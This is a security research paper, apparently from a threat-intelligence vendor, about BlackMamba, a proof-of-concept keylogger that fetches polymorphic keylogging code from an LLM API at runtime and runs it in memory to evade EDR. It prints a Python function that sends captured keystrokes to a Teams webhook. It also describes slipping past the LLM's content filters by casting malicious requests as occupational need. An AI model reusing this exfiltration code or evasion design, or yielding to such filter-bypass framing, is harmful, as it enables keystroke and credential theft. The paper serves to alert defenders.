There is no doubt about it, endpoint detection and response (EDR), protective DNS, and other automated security controls are critical components in any modern security stack. Technologies like EDR leverage multi-layer, data intelligence systems to combat some of today’s most sophisticated threats. But while most automated controls claim to prevent novel or irregular behavior patterns, in practice, this is very rarely the case.

A threat actor can combine a series of typically highly detectable behaviors in an unusual combination and evade detection by exploiting the model’s inability to recognize it as a malicious pattern. This problem is compounded when artificial intelligence is at the helm and driving cyberattacks, as the methods it chooses may be highly atypical compared to those used by human threat actor counterparts. Furthermore, the speed at which these attacks can be executed makes the threat exponentially worse.

In this paper, my goal is to highlight the very real and present danger created by the emergence of sophisticated data intelligence systems, such as large language models (LLM). To illustrate this point, I have built a simple proof of concept (PoC) exploiting a large language model to synthesize polymorphic keylogger functionality on-the-fly, dynamically modifying the benign code at runtime – all without any command-and-control infrastructure to deliver or verify the malicious keylogger functionality. This technique runs completely unimpeded by EDR intervention. Given the significant threat posed by the methodology, I call this PoC BlackMamba, a reference to the extremely venomous snake of the same name.
THE FUTURE: AI-AUGMENTED CYBER ATTACK

My curiosity piqued, I ravenously devoured two academic papers [1] [2] on AI-augmented cyberattack, and came away knowing this was a field of research I wanted to fully immerse myself in. The authors did a wonderful job expounding the various theoretical attack vectors that could be possible, leveraging state-of-the-art machine learning and artificial intelligence within offensive tradecraft practices and malware. As my eyes darted across the words on the screen, I began to form an idea for an offensive synergy that would unite two seemingly disparate concepts contained within the research. The first concept was to eliminate the command and control (C2) channel using malware that could be equipped with intelligent automation and could push-back any attacker-bound data through some benign communication channel [2]. The second was to leverage AI code generative techniques that could synthesize new malware variants, changing the code such that it can evade detection algorithms [2].

These two seemingly disconnected ideas struck me like a 16th-century war hammer: polymorphic malware which synthesizes its malicious functionality from a (highly reputable) large language model’s API, eliminating the need for a payload delivery infrastructure and then modifying the legitimate portion of the program (on-the-fly) with the malicious functionality. I wanted to develop a keylogger (BlackMamba) which would run undetected by EDR and which would make network analysis a little more tricky. For a keylogger to be effective, I would also need an exfiltration channel which would run Ninja, so I opted for a web hook to Teams to allow me to push stolen data back into the channel. Eager to test out my newly perceived knowledge-bomb and after reading a great blog on the rise of Pythonic malware [3], I decided to create BlackMamba in Python and also decided that I would not use obfuscation in this PoC. I wanted to see what a fundamental shift in malware design would do to the detection model of an EDR and its ability to detect uncommon vectors such as this.

BLACKMAMBA RESEARCH COMPONENTS

Essentially, BlackMamba comprises two main components. The first is a benign, Python-compiled, executable consisting of two functions and a few imports. The second part is a polymorphic payload that is generated and executed at runtime, consisting of the malicious keylogging functionality. I’m going to walk through the research that makes up BlackMamba as follows:

1. Neural Network Code Synthesis & Malware Polymorphism
2. Malicious Prompt Engineering
3. Python’s exec() Function: On-the-Fly Program Modification
4. Malicious Communications Over Trusted Channels
5. Compiling Python Malware into Standalone, Executable Code
NEURAL NETWORK CODE SYNTHESIS & MALWARE POLYMORPHISM

When ChatGPT exploded onto the scene late last year, it marked the first time neural network code synthesis was made freely available to the masses. In brief terms, ChatGPT is a transformer-based LLM capable of synthesizing language and source code. A transformer model is a type of neural network architecture that is commonly used for natural language processing tasks, such as language translation, text classification, and text generation.

To synthesize code using a transformer model, the model is first trained on a large dataset of source code examples. During training, the model learns to identify patterns and relationships between different parts of the code. Once the model is trained, it can generate new code based on a prompt or input code by taking in a prompt or input code and generating a prediction for what the next piece of code should be. This awesome functionality is what makes the polymorphism magic possible within BlackMamba.

Malware polymorphism is a technique used by bad actors to evade detection by security software and make their malware more difficult to detect and analyze. Polymorphic malware works by changing its own code in a way that preserves its functionality while making it harder to identify. This typically involves changing its file signature or name, the way it is packed or encrypted, and even the way it behaves at runtime. BlackMamba utilizes a benign executable that reaches out to a high-reputation API (OpenAI) at runtime so it can return synthesized, malicious code needed to steal an infected user's keystrokes. It then executes the dynamically generated code within the context of the benign program using Python's `exec()` function, with the malicious polymorphic portion remaining totally in-memory. Every time BlackMamba executes, it re-synthesizes its keylogging capability, making the malicious component of this malware truly polymorphic. BlackMamba was tested against an industry leading EDR which will remain nameless, many times, resulting in zero alerts or detections. At this point, enter malicious prompt engineering.
MALICIOUS PROMPT ENGINEERING

Before we chat (no pun intended) about malicious prompt engineering, we should define what prompt engineering actually is. In the context of large language models like GPT-3, prompt engineering refers to the process of crafting specific input text prompts to generate desired outputs. These prompts serve as the initial input to the model, providing context and cues for the model to generate a response. The idea behind prompt engineering is that by carefully crafting prompts that provide the necessary context and cues, one can steer the model’s outputs in a particular direction or achieve a specific result.

“From a cyber security perspective, the study of large language models, the content they can generate, and the prompts required to generate that content is important (…). Such research provides us with visibility into what is and what is not possible with current tools and allows the community to be alerted to the potential misuses of such technologies [4].”

Debugging code, which is generated through prompt engineering, specifically fixing the bugs once located can be challenging in dynamically generated code. The lynchpin to all the AI-polymorphism magic is that the synthesized code actually needs to work – and this can be a significant challenge. Researchers from CYBERARK proposed a process which communicates back to the C2 channel to validate the newly synthesized code and if the checks pass, execute it [5]. This seems like a reasonable solution, but this would not work for one of my key objectives, the elimination of the command and control channel. I decided to tackle this problem by tightening up my prompting game, causing the synthesized code to be less defective. Moreover, I added a crude way (BlackMamba is still only a PoC, after all) for the main program to verify whether data is going out on the exfiltration channel (Teams) and if not, reruns the function responsible for code generation. To be useful, the code that is synthesized needs to work the majority of the time and on the first attempt.

The first part of the prompt addresses the content filters, or lack thereof, in the API for which may or may not be present in the near future. I’ve circumvented the UI-based filters with a similar approach; reasoning malicious intention via legitimate occupational need. Next, I needed to constrain the possible libraries used to generate keylogging functionality as any included imports ChatGPT saw fit to import, needed to be compiled into the benign executable, ahead of time. Python’s exec() function allows access to declared global variables within the dynamically generated code, executed within its functionality. This was a great way to pass the collected keystroke data to the exfiltration function, without the creation of any files. The majority of failed synthesized code was due to the function not returning after the allotted keylogging interval, causing the program to wait for the code executed by exec(), indefinitely.

Through a rigorous process of trial and error, I developed some linguistic prompts with limited code snippets to direct the model’s outputs. I instructed the model to choose keyboard.on_press() in the program instead of keyboard.read_key() – I actually had to reiterate this in the prompt as I found doing so, had a higher success rate for not getting returned code with keyboard.read_key() and ultimately hanging the program. Similarly, I had to specifically instruct chatGPT that if the program does use keyboard.on_press(), not to use the registration within the loop as to avoid capturing duplicate keystrokes. In the end, what I noticed was less of a tightly coupled effect of cause and effect with my prompting and more of a general push in the right direction to return more reliable code. Lastly, it might behoove the malware author to encrypt the prompt strings as inspecting them may be a dead giveaway of malicious intent.
PYTHON’S EXEC() FUNCTION: ON-THE-FLY PROGRAM MODIFICATION

Python’s exec() function is a built-in feature that allows you to dynamically execute Python code at runtime. It takes a string containing the code you want to execute as input, and then it executes that code. The exec() function is commonly used for on-the-fly program modification, which means that you can modify the behavior of a running program by executing new code while the program is running. Exploiting this powerful functionality, malware authors can use it to execute malicious code on a victim’s computer. Here are a few ways this could happen:

1. Dynamic code injection: Malware authors could use the exec() function to inject malicious code into a legitimate program that’s already running on the victim’s computer. This could be done by modifying a script or configuration file that the legitimate program reads at runtime, and then using exec() to execute the modified code.

2. Obfuscation: Malware authors could use the exec() function to obfuscate their code by storing it in a multi-line string and then executing it with exec(). This can lower automated detection rates if the malicious code is stored in a separate text file and read into the function (one of my early tests to evade EDR before going fileless).

3. Code obtained remotely and executed: Malware authors could use the exec() function to execute remote code on the victim’s computer. This could be done by retrieving the code from a remote server (API) or website and then executing it using exec().

Main part of the program which generates a polymorphic payload & executes it:
MALICIOUS COMMUNICATIONS OVER TRUSTED CHANNELS

MS Teams, like other communication and collaboration tools, can be exploited by malware authors as an exfiltration channel. In this context, an exfiltration channel refers to the method by which an attacker removes or extracts data from a compromised system and sends it to an external location, such as an attacker-controlled Teams channel via webhook.

BlackMamba can collect sensitive information, such as usernames, passwords, credit card numbers, and other personal or confidential data that a user types into their device. Once this data is captured, the malware uses MS Teams webhook to send the collected data to the malicious Teams channel, where it can be analyzed, sold on the dark web, or used for other nefarious purposes.

**MS Teams exfil function:**

```python
# send log update
def send_to_teams(contents):
    webhook_url = f"{Hook URL}"

    # Build the API request
    headers = {
        "Content-Type": "application/json"
    }
    payload = {
        "text": contents
    }

    # Send the API request to the incoming webhook URL
    response = requests.post(webhook_url, headers=headers, json=payload)

    # Check the API response
    if response.status_code != 200:
        print(f"\n\n
    else:
        print("\n\n\nMessage sent successfully to Teams.\n\n")

    return 200
```

This attack technique is especially dangerous because of how difficult it can be to detect and prevent. MS Teams is a legitimate communication and collaboration tool that is widely used by organizations, so malware authors can leverage it to bypass traditional security defenses, such as firewalls and intrusion detection systems. Also, since the data is sent over encrypted channels, it can be difficult to detect that the channel is being used for exfiltration.

**BlackMamba Teams channel exfil:**

![Teams channel example](image)
COMPILING PYTHON MALWARE INTO STANDALONE, EXECutable CODE

Auto-py-to-exe is an open-source Python package that allows developers to convert their Python scripts into standalone executable files that can be run on Windows, macOS, and Linux operating systems. While this package is intended for legitimate use cases, it can also be used by malware authors to package their Python-based malware into executable files that can be distributed and run on a target system without the need for Python to be installed.

When using auto-py-to-exe, the malware author first writes their Python-based malware code and imports any necessary libraries or modules. They then use the auto-py-to-exe package to generate an executable file from their Python code. This process involves selecting the desired output format and configuration options, such as specifying the target operating system and architecture, the icon to use for the executable file, and any additional data files or resources to include in the package.

Once the executable file is generated, the malware author can distribute it to potential targets via links in email, social engineering schemes, and other typical methods to potential targets. When the victim runs the executable file, the malware is executed on their system, and can perform various malicious actions, such as stealing sensitive information, modifying system settings, or downloading additional malware — in our case, keylogging.

The use of auto-py-to-exe to compile Python-based malware into standalone executable files poses a significant threat to organizations and individuals, as it can make it easier for malware authors to distribute and run their malware on target systems without the need for the Python interpreter to be installed. Moreover, in the context of AI-augmented cyberattack, utilizing standalone, pythonic malware provides access to a rich data intelligence ecosystem of libraries and developer support for all kinds of data science applications.
LOOKING AHEAD

While endpoint detection and response (EDR) and other automated security controls are essential components of a modern security stack, they are not foolproof. Threat actors can combine normally highly detectable behaviors in an unusual combination to evade detection, especially when artificial intelligence is driving cyberattacks. With the emergence of sophisticated data intelligence systems like LLMs, the risks become even more severe. The BlackMamba proof-of-concept shows that LLMs can be exploited to synthesize polymorphic keylogger functionality on-the-fly, making it difficult for EDR to intervene. As the cybersecurity landscape continues to evolve, it is crucial for organizations to remain vigilant, keep their security measures up to date, and adapt to new threats that emerge by operationalizing cutting-edge research being conducted in this space.

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HYAS is a valued partner and world-leading authority on cyber adversary infrastructure and communication to that infrastructure. We help businesses see more, do more, and understand more about the nature of the threats they face, or don’t even realize they are facing, on a daily basis. Our vision is to be the leading provider of confidence and cybersecurity that today’s businesses need to move forward in an ever-changing data environment.

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